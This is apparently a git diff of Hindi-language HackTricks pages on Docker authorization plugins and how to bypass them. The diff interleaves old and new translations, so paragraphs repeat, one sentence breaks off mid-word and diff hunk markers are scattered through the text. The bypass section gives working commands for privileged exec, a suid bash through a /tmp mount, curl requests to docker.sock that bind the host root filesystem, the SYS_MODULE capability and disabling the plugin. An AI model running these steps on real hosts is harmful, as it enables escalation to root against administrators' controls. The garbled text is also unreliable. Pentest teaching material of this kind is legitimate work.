**Docker** की आउट-ऑफ-द-बॉक्स **अधिकृतता** मॉडल सब कुछ या कुछ नहीं है। किसी भी उपयोगकर्ता को जो भी अनुमति होती है वह डॉकर डेमन तक पहुंचने के लिए किसी भी डॉकर क्लाइंट कमांड को चला सकता है। डॉकर के इंजन API का उपयोग करके डेमन से संपर्क करने वाले कॉलर्स के लिए भी यही सत्य है। यदि आपको **अधिक पहुंच नियंत्रण** की आवश्यकता है, तो आप अधिकृतता प्लगइन बना सकते हैं और उन्हें अपने डॉकर डेमन कॉन्फ़िगरेशन में जोड़ सकते हैं। एक अधिकृतता प्लगइन का उपयोग करके, डॉकर प्रशासक डॉकर डेमन तक पहुंच को प्रबंधित करने के लिए विस्तारशील पहुंच नीतियों को कॉन्फ़िगर कर सकते हैं।
|
||||
**Docker** का आउट-ऑफ-द-बॉक्स **authorization** मॉडल **सब कुछ या कुछ नहीं** है। कोई भी उपयोगकर्ता जिसे Docker daemon तक पहुंच की अनुमति है, वह कोई भी Docker client **command** चला सकता है। Docker के Engine API का उपयोग करके daemon से संपर्क करने वाले कॉलर्स के लिए भी यही सच है। यदि आपको **अधिक एक्सेस कंट्रोल** की आवश्यकता है, तो आप **authorization plugins** बना सकते हैं और उन्हें अपने Docker daemon कॉन्फ़िगरेशन में जोड़ सकते हैं। एक authorization plugin का उपयोग करके, Docker प्रशासक Docker daemon तक पहुंच के लिए **विस्तृत एक्सेस नीतियां** कॉन्फ़िगर कर सकते हैं।
|
||||
|
||||
# मूलभूत संरचना
|
||||
# मूल आर्किटेक्चर
|
||||
|
||||
Docker ऑथ प्लगइन बाहरी प्लगइन हैं जिन्हें आप डॉकर डेमन द्वारा अनुरोधित क्रियाओं की अनुमति देने या निरस्त करने के लिए उपयोग कर सकते हैं। जब CLI या इंजन API के माध्यम से डॉकर डेमन को HTTP अनुरोध भेजा जाता है, तो प्रमाणीकरण उपप्रणाली अनुरोध को स्थापित प्रमाणीकरण प्लगइन (या प्लगइन्स) को पारित करती है। अनुरोध में उपयोगकर्ता (कॉलर) और कमांड संदर्भ होता है। प्लगइन को यह निर्णय लेने के लिए जिम्मेदार होता है कि क्या अनुरोध को स्वीकार किया जाए या नहीं।
|
||||
Docker Auth plugins **बाहरी** **plugins** हैं जिनका उपयोग आप Docker Daemon को की गई **actions** की अनुमति/अस्वीकृति के लिए कर सकते हैं, यह **उपयोगकर्ता** पर **निर्भर** करता है जिसने इसे अनुरोध किया है और **अनुरोधित** **action** पर।
|
||||
|
||||
नीचे दिए गए क्रमबद्ध आरेखण चित्रों में एक अनुमति और अनुमति निरस्ति अधिकृतता फ्लो दिखाए गए हैं:
|
||||
जब Docker **daemon** के लिए CLI के माध्यम से या Engine API के माध्यम से **HTTP** **request** की जाती है, तो **authentication** **subsystem** अनुरोध को स्थापित **authentication** **plugin**(s) को **पास** करता है। अनुरोध में उपयोगकर्ता (कॉलर) और कमांड संदर्भ शामिल होता है। **plugin** का जिम्मा होता है कि वह अनुरोध को **allow** करे या **deny** करे।
|
||||
|
||||
![अनुमति देने वाली फ्लो](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
नीचे दिए गए सीक्वेंस डायग्राम्स में एक allow और deny authorization प्रवाह को दर्शाया गया है:
|
||||
|
||||
![अनुमति निरस्ति फ्लो](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
|
||||
प्लगइन को भेजे गए प्रत्येक अनुरोध में **प्रमाणित उपयोगकर्ता, HTTP हैडर और अनुरोध/प्रतिक्रिया शरीर** शामिल होते हैं। प्लगइन को केवल उपयोगकर्ता का नाम और प्रमाणीकरण विधि पारित की जाती है। सबसे महत्वपूर्ण बात यह है कि कोई भी उपयोगकर्ता क्रेडेंशियल या टोकन पारित नहीं होते हैं। अंत में, सभी अनुरोध/प्रतिक्रिया शरीर अधिकृतता प्लगइन को नहीं भेजे जाते हैं। केवल वे अनुरोध/प्रतिक्रिया शरीर भेजे जाते हैं जिनमें `Content-Type` या `text/*` या `application/json` होता है।
|
||||
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
|
||||
`exec` जैसे HTTP कनेक्शन को हाइजैक कर सकने वाले कमांड्स के ल
|
||||
## अनुमति नहीं `run --privileged`
|
||||
प्रत्येक plugin को भेजी गई अनुरोध में **प्रमाणित उपयोगकर्ता, HTTP headers, और अनुरोध/प्रतिक्रिया शरीर** शामिल होता है। केवल **उपयोगकर्ता का नाम** और **प्रमाणीकरण विधि** का उपयोग किया जाता है जो plugin को पास किया जाता है। सबसे महत्वपूर्ण बात, **कोई** उपयोगकर्ता **credentials** या टोकन पास नहीं किए जाते हैं। अंत में, **सभी अनुरोध/प्रतिक्रिया शरीर** authorization plugin को नहीं भेजे जाते हैं। केवल वे अनुरोध/प्रतिक्रिया शरीर जहां `Content-Type` या तो `text/*` या `application/json` है, भेजे जाते हैं।
|
||||
|
||||
### न्यूनतम अधिकार
|
||||
उन कमांड्स के लिए जो HTTP कनेक्शन को हाईजैक कर सकते हैं (`HTTP Upgrade`), जैसे कि `exec`, authorization plugin केवल प्रारंभिक HTTP अनुरोधों के लिए बुलाई जाती है। एक बार plugin द्वारा कमांड को मंजूरी दे दी जाती है, तो बाकी प्रवाह के लिए प्राधिकरण लागू नहीं होता है। विशेष रूप से, स्ट्रीमिंग डेटा को authorization plugins को पास नहीं किया जाता है। उन कमांड्स के लिए जो चंक्ड HTTP प्रतिक्रिया लौटाते हैं, जैसे कि `logs` और `events`, केवल HTTP अनुरोध को authorization plugins को भेजा जाता है।
|
||||
|
||||
अनुरोध/प्रतिक्रिया प्रोसेसिंग के दौरान, कुछ authorization प्रवाहों को Docker daemon से अतिरिक्त क्वेरीज करने की आवश्यकता हो सकती है। ऐसे प्रवाहों को पूरा करने के लिए, plugins एक सामान्य उपयोगकर्ता की तरह daemon API को कॉल कर सकते हैं। इन अतिरिक्त क्वेरीज को सक्षम करने के लिए, plugin को उचित प्रमाणीकरण और सुरक्षा नीतियों को कॉन्फ़िगर करने के लिए प्रशासक को साधन प्रदान करना चाहिए।
|
||||
|
||||
## कई Plugins
|
||||
|
||||
आप जिम्मेदार हैं अपने **plugin** को Docker daemon **startup** के हिस्से के रूप में **रजिस्टर करने** के लिए। आप **कई plugins इंस्टॉल कर सकते हैं और उन्हें एक साथ चेन कर सकते हैं**। यह चेन क्रमबद्ध हो सकती है। प्रत्येक अनुरोध daemon के माध्यम से क्रम में चेन के माध्यम से गुजरता है। केवल जब **सभी plugins संसाधन तक पहुंच की अनुमति देते हैं**, तब ही पहुंच प्रदान की जाती है।
|
||||
|
||||
# Plugin उदाहरण
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
plugin [**authz**](https://github.com/twistlock/authz) आपको एक सरल **JSON** फ़ाइल बनाने की अनुमति देता है जिसे **plugin** **पढ़ेगा** और अनुरोधों को प्राधिकृत करेगा। इसलिए, यह आपको बहुत आसानी से नियंत्रित करने का अवसर देता है कि कौन से API endpoints प्रत्येक उपयोगकर्ता तक पहुंच सकते हैं।
|
||||
|
||||
यह एक उदाहरण है जो Alice और Bob को नए कंटेनर बनाने की अनुमति देगा: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
पृष्ठ [route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go) में आप अनुरोधित URL और action के बीच संबंध पा सकते हैं। पृष्ठ [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) में आप action नाम और action के बीच संबंध पा सकते हैं।
|
||||
|
||||
## सरल Plugin ट्यूटोरियल
|
||||
|
||||
आप यहां एक **समझने में आसान plugin** के साथ विस्तृत जानकारी पा सकते हैं: [**https://github.com/carlospolop-forks/authobot**](https://github.com/carlospolop-forks/authobot)
|
||||
|
||||
`README` और `plugin.go` कोड को पढ़ें ताकि समझ सकें कि यह कैसे काम कर रहा है।
|
||||
|
||||
# Docker Auth Plugin Bypass
|
||||
|
||||
## Enumerate access
|
||||
|
||||
मुख्य चीजें जांचने के लिए हैं **कौन से endpoints अनुमति हैं** और **HostConfig के कौन से मान अनुमति हैं**।
|
||||
|
||||
इस enumeration को करने के लिए आप टूल का **उपयोग कर सकते हैं** [**https://github.com/carlospolop/docker\_auth\_profiler**](https://github.com/carlospolop/docker\_auth\_profiler)**.**
|
||||
|
||||
## disallowed `run --privileged`
|
||||
|
||||
### न्यूनतम विशेषाधिकार
|
||||
```bash
|
||||
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
|
||||
```
|
||||
### एक कंटेनर चलाना और फिर एक विशेषाधिकारित सत्र प्राप्त करना
|
||||
### कंटेनर चलाना और फिर एक विशेषाधिकार प्राप्त सत्र प्राप्त करना
|
||||
|
||||
इस मामले में सिस्टम व्यवस्थापक ने उपयोगकर्ताओं को वॉल्यूम माउंट करने और `--privileged` फ्लैग के साथ कंटेनर चलाने या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी है:
|
||||
इस मामले में सिसएडमिन ने **उपयोगकर्ताओं को वॉल्यूम माउंट करने और `--privileged` फ्लैग के साथ कंटेनर चलाने या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी:**
|
||||
```bash
|
||||
docker run -d --privileged modified-ubuntu
|
||||
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
|
||||
See 'docker run --help'.
|
||||
```
|
||||
यदापि, एक उपयोगकर्ता **चल रहे कंटेनर के भीतर एक शैल बना सकता है और इसे अतिरिक्त अधिकार दे सकता है**:
|
||||
हालांकि, एक उपयोगकर्ता **चल रहे कंटेनर के अंदर एक शेल बना सकता है और उसे अतिरिक्त विशेषाधिकार दे सकता है**:
|
||||
```bash
|
||||
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
|
||||
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
|
||||
|
@ -56,11 +87,11 @@ docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be
|
|||
# With --cap-add=SYS_ADMIN
|
||||
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
|
||||
```
|
||||
अब, उपयोगकर्ता किसी भी [**पहले चर्चित तकनीक**](./#privileged-flag) का उपयोग करके कंटेनर से बाहर निकल सकता है और होस्ट में **विशेषाधिकारों को बढ़ा सकता है**।
|
||||
अब, उपयोगकर्ता कंटेनर से बाहर निकल सकता है [**पहले चर्चा की गई तकनीकों**](./#privileged-flag) का उपयोग करके और **होस्ट के अंदर विशेषाधिकार बढ़ा सकता है**।
|
||||
|
||||
## लिखने योग्य फ़ोल्डर माउंट करें
|
||||
## लिखने योग्य फोल्डर माउंट करें
|
||||
|
||||
इस मामले में सिस्टम व्यवस्थापक ने उपयोगकर्ताओं को `--privileged` फ़्लैग के साथ कंटेनर चलाने से रोक दिया है या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति दी है, और उसने केवल `/tmp` फ़ोल्डर को माउंट करने की अनुमति दी है:
|
||||
इस मामले में सिसटम एडमिन ने **उपयोगकर्ताओं को `--privileged` फ्लैग के साथ कंटेनर चलाने की अनुमति नहीं दी** या कंटेनर को कोई अतिरिक्त क्षमता देने की अनुमति नहीं दी, और उसने केवल `/tmp` फोल्डर माउंट करने की अनुमति दी:
|
||||
```bash
|
||||
host> cp /bin/bash /tmp #Cerate a copy of bash
|
||||
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
|
||||
|
@ -70,25 +101,25 @@ host> /tmp/bash
|
|||
-p #This will give you a shell as root
|
||||
```
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि शायद आप `/tmp` फ़ोल्डर को माउंट नहीं कर सकते हैं, लेकिन आप एक **अलग लिखने योग्य फ़ोल्डर** को माउंट कर सकते हैं। आप निम्नलिखित कमांड का उपयोग करके लिखने योग्य निर्देशिकाओं को खोज सकते हैं: `find / -writable -type d 2>/dev/null`
|
||||
ध्यान दें कि शायद आप `/tmp` फोल्डर को माउंट नहीं कर सकते हैं लेकिन आप **अलग लिखने योग्य फोल्डर** को माउंट कर सकते हैं। लिखने योग्य निर्देशिकाएँ खोजने के लिए आप यह कमांड उपयोग कर सकते हैं: `find / -writable -type d 2>/dev/null`
|
||||
|
||||
**ध्यान दें कि एक लिनक्स मशीन में सभी निर्देशिकाएं suid बिट का समर्थन नहीं करेंगी!** सुइड बिट का समर्थन करने वाले निर्देशिकाओं की जांच करने के लिए `mount | grep -v "nosuid"` कमांड चलाएं। उदाहरण के लिए, आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
|
||||
**ध्यान दें कि लिनक्स मशीन की सभी निर्देशिकाएँ suid बिट का समर्थन नहीं करती हैं!** suid बिट का समर्थन करने वाली निर्देशिकाओं की जांच करने के लिए `mount | grep -v "nosuid"` कमांड चलाएं। उदाहरण के लिए आमतौर पर `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` और `/var/lib/lxcfs` suid बिट का समर्थन नहीं करते हैं।
|
||||
|
||||
ध्यान दें कि यदि आप **`/etc` या किसी अन्य फ़ोल्डर को माउंट** कर सकते हैं जिसमें **कॉन्फ़िगरेशन फ़ाइलें** होती हैं, तो आप उन्हें डॉकर कंटेनर में रूट के रूप में बदलकर उन्हें **होस्ट में दुरुपयोग करने** और विशेषाधिकारों को बढ़ाने के लिए उपयोग कर सकते हैं (शायद `/etc/shadow` को संशोधित करके)
|
||||
यह भी ध्यान दें कि अगर आप **`/etc` माउंट कर सकते हैं** या कोई अन्य फोल्डर **जिसमें कॉन्फ़िगरेशन फाइलें होती हैं**, तो आप उन्हें डॉकर कंटेनर से रूट के रूप में बदल सकते हैं ताकि **होस्ट में उनका दुरुपयोग करके विशेषाधिकार बढ़ा सकें** (शायद `/etc/shadow` में बदलाव करके)
|
||||
{% endhint %}
|
||||
|
||||
## जांच नहीं की गई API एंडपॉइंट
|
||||
## अनचेक्ड API एंडपॉइंट
|
||||
|
||||
इस प्लगइन को कॉन्फ़िगर करने वाले सिसएडमिन की जिम्मेदारी होगी कि वह नियंत्रित करें कि प्रत्येक उपयोगकर्ता किस क्रिया को और किस प्रिविलेज के साथ कर सकता है। इसलिए, यदि एडमिन एंडपॉइंट्स और विशेषताओं के साथ एक **ब्लैकलिस्ट** दृष्टिकोण अपनाता है, तो वह शायद कुछ ऐसे एंडपॉइंट्स को **भूल जाएंगे** जो एक हमलावर को **विशेषाधिकार बढ़ाने** की अनुमति दे सकते हैं।
|
||||
सिसएडमिन की जिम्मेदारी जो इस प्लगइन को कॉन्फ़िगर कर रहा है, वह यह नियंत्रित करने की होगी कि प्रत्येक उपयोगकर्ता किस कार्रवाई को और किस विशेषाधिकार के साथ कर सकता है। इसलिए, अगर एडमिन एंडपॉइंट्स और विशेषताओं के साथ **ब्लैकलिस्ट** दृष्टिकोण अपनाता है, तो वह कुछ को **भूल सकता है** जो एक हमलावर को **विशेषाधिकार बढ़ाने की अनुमति दे सकता है।**
|
||||
|
||||
आप डॉकर API की जांच कर सकते हैं [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#)
|
||||
आप डॉकर API की जांच [https://docs.docker.com/engine/api/v1.40/#](https://docs.docker.com/engine/api/v1.40/#) पर कर सकते हैं।
|
||||
|
||||
## जांच नहीं की गई JSON संरचना
|
||||
## अनचेक्ड JSON संरचना
|
||||
|
||||
### रूट में बाइंड करें
|
||||
### रूट में Binds
|
||||
|
||||
संभव है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया था, तो उन्होंने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के कुछ महत्वपूर्ण पैरामीटर जैसे "**Binds**" के बारे में **भूल जाएंगे**।\
|
||||
निम्नलिखित उदाहरण में, इस त्रुटि का दुरुपयोग करने के लिए संगठन को बनाने और चलाने की अनुमति हो सकती है जो मेज़बान के रूट (/) फ़ोल्डर को माउंट करता है:
|
||||
संभव है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल को कॉन्फ़िगर किया था तो उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के कुछ महत्वपूर्ण पैरामीटर जैसे कि "**Binds**" के बारे में **भूल गया** हो।\
|
||||
निम्नलिखित उदाहरण में इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके होस्ट के रूट (/) फोल्डर को माउंट करने वाला एक कंटेनर बनाने और चलाने की संभावना है:
|
||||
```bash
|
||||
docker version #First, find the API version of docker, 1.40 in this example
|
||||
docker images #List the images available
|
||||
|
@ -99,30 +130,30 @@ docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
|
|||
#You can access the host filesystem
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
ध्यान दें कि इस उदाहरण में हम **`Binds`** पैरामीटर को JSON में एक रूट स्तर की कुंजी के रूप में उपयोग कर रहे हैं, लेकिन API में इसे **`HostConfig`** कुंजी के तहत दिखाया जाता है।
|
||||
ध्यान दें कि इस उदाहरण में हम JSON में **`Binds`** पैरामीटर को रूट लेवल की कुंजी के रूप में उपयोग कर रहे हैं लेकिन API में यह **`HostConfig`** की कुंजी के अंतर्गत आता है।
|
||||
{% endhint %}
|
||||
|
||||
### HostConfig में Binds
|
||||
|
||||
**Binds in root** के साथ एक ही निर्देशों का पालन करें और Docker API को यह **अनुरोध** करें:
|
||||
**Binds in root** के साथ दिए गए निर्देशों का पालन करते हुए, Docker API को यह **अनुरोध** करें:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
|
||||
```
|
||||
### रूट में माउंट
|
||||
### रूट में माउंट्स
|
||||
|
||||
**रूट में बाइंड** के साथ समान निर्देशों का पालन करें और इस **अनुरोध** को Docker API में कार्यान्वयन करें:
|
||||
**Binds in root** के साथ दिए गए निर्देशों का पालन करें, इस **अनुरोध** को Docker API के लिए प्रदर्शित करते हुए:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
|
||||
```
|
||||
### HostConfig में Mounts
|
||||
|
||||
डॉकर API को यह **अनुरोध** करके **रूट में बाइंड के साथ** उसी निर्देश का पालन करें:
|
||||
**Binds in root** के साथ दिए गए निर्देशों का पालन करते हुए, Docker API को यह **request** भेजें:
|
||||
```bash
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
|
||||
```
|
||||
## जांच नहीं की गई JSON विशेषता
|
||||
## अनचेक्ड JSON एट्रिब्यूट
|
||||
|
||||
संभव है कि जब सिसएडमिन ने डॉकर फ़ायरवॉल कॉन्फ़िगर किया था, तो उन्होंने [API](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के "**HostConfig**" के अंदर "**Capabilities**" जैसे किसी महत्वपूर्ण पैरामीटर की कुछ महत्वपूर्ण विशेषता के बारे में **भूल गए** हों। निम्नलिखित उदाहरण में, इस गलत कॉन्फ़िगरेशन का दुरुपयोग करके हम SYS\_MODULE क्षमता के साथ एक कंटेनर बना सकते हैं और चला सकते हैं:
|
||||
जब सिसएडमिन ने डॉकर फायरवॉल को कॉन्फ़िगर किया तो संभव है कि उसने [**API**](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList) के पैरामीटर के किसी महत्वपूर्ण एट्रिब्यूट को भूल गया हो जैसे कि "**HostConfig**" के अंदर "**Capabilities**". निम्नलिखित उदाहरण में, इस मिसकॉन्फ़िगरेशन का दुरुपयोग करके **SYS\_MODULE** क्षमता के साथ एक कंटेनर बनाने और चलाने की संभावना है:
|
||||
```bash
|
||||
docker version
|
||||
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
|
||||
|
@ -133,12 +164,12 @@ capsh --print
|
|||
#You can abuse the SYS_MODULE capability
|
||||
```
|
||||
{% hint style="info" %}
|
||||
**`HostConfig`** वह कुंजी है जिसमें सामान्यतः कंटेनर से बाहर निकलने के लिए **दिलचस्प** **विशेषाधिकार** होते हैं। हालांकि, जैसा कि हम पहले ही चर्चा कर चुके हैं, ध्यान दें कि इसके बाहर Binds का उपयोग करना भी काम करता है और रोकथाम को दौर करने की अनुमति देता है।
|
||||
**`HostConfig`** वह कुंजी है जिसमें आमतौर पर **रोचक** **विशेषाधिकार** होते हैं जो कंटेनर से बाहर निकलने के लिए आवश्यक होते हैं। हालांकि, जैसा कि हमने पहले चर्चा की है, ध्यान दें कि इसके बाहर Binds का उपयोग करना भी काम करता है और यह आपको प्रतिबंधों को दरकिनार करने की अनुमति दे सकता है।
|
||||
{% endhint %}
|
||||
|
||||
## प्लगइन को अक्षम करना
|
||||
|
||||
यदि **सिस्टम प्रशासक** ने **प्लगइन** को **अक्षम** करने की क्षमता को **भूल गए** हैं, तो आप इसका लाभ उठा सकते हैं और इसे पूरी तरह से अक्षम कर सकते हैं!
|
||||
यदि **सिसएडमिन** ने **प्लगइन** को **अक्षम** करने की क्षमता को **रोकना** **भूल** गया हो, तो आप इसका फायदा उठाकर इसे पूरी तरह से अक्षम कर सकते हैं!
|
||||
```bash
|
||||
docker plugin list #Enumerate plugins
|
||||
|
||||
|
@ -150,9 +181,9 @@ docker plugin disable authobot
|
|||
docker run --rm -it --privileged -v /:/host ubuntu bash
|
||||
docker plugin enable authobot
|
||||
```
|
||||
उच्चारण प्लगइन को **उन्नति के बाद पुनः सक्रिय करें**, अन्यथा **डॉकर सेवा की पुनरारंभ काम नहीं करेगी**!
|
||||
याद रखें कि **escalating के बाद plugin को फिर से सक्षम करें**, अन्यथा **docker service का restart काम नहीं करेगा**!
|
||||
|
||||
## ऑथ प्लगइन बाईपास व्राइटअप्स
|
||||
## Auth Plugin Bypass लेखन
|
||||
|
||||
* [https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/)
|
||||
|
||||
|
@ -163,16 +194,14 @@ docker plugin enable authobot
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Learn AWS hacking से शुरुआत करें और बनें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स रेपो और हैकट्रिक्स-क्लाउड रेपो में पीआर जमा करके**।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो करें**.
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी hacking tricks साझा करें.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,49 +1,47 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **फॉलो** करें मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके।
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके अपनी हैकिंग ट्रिक्स शेयर करें।
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# परिचय
|
||||
|
||||
पिछले PoCs काम करते हैं जब कंटेनर को एक स्टोरेज ड्राइवर के साथ कॉन्फ़िगर किया जाता है जो माउंट पॉइंट का **पूरा होस्ट पथ उजागर करता है**, उदाहरण के लिए `overlayfs`, हालांकि कुछ कॉन्फ़िगरेशन हैं जो **होस्ट फ़ाइल सिस्टम माउंट पॉइंट का स्पष्ट रूप से उजागर नहीं करते** हैं।
|
||||
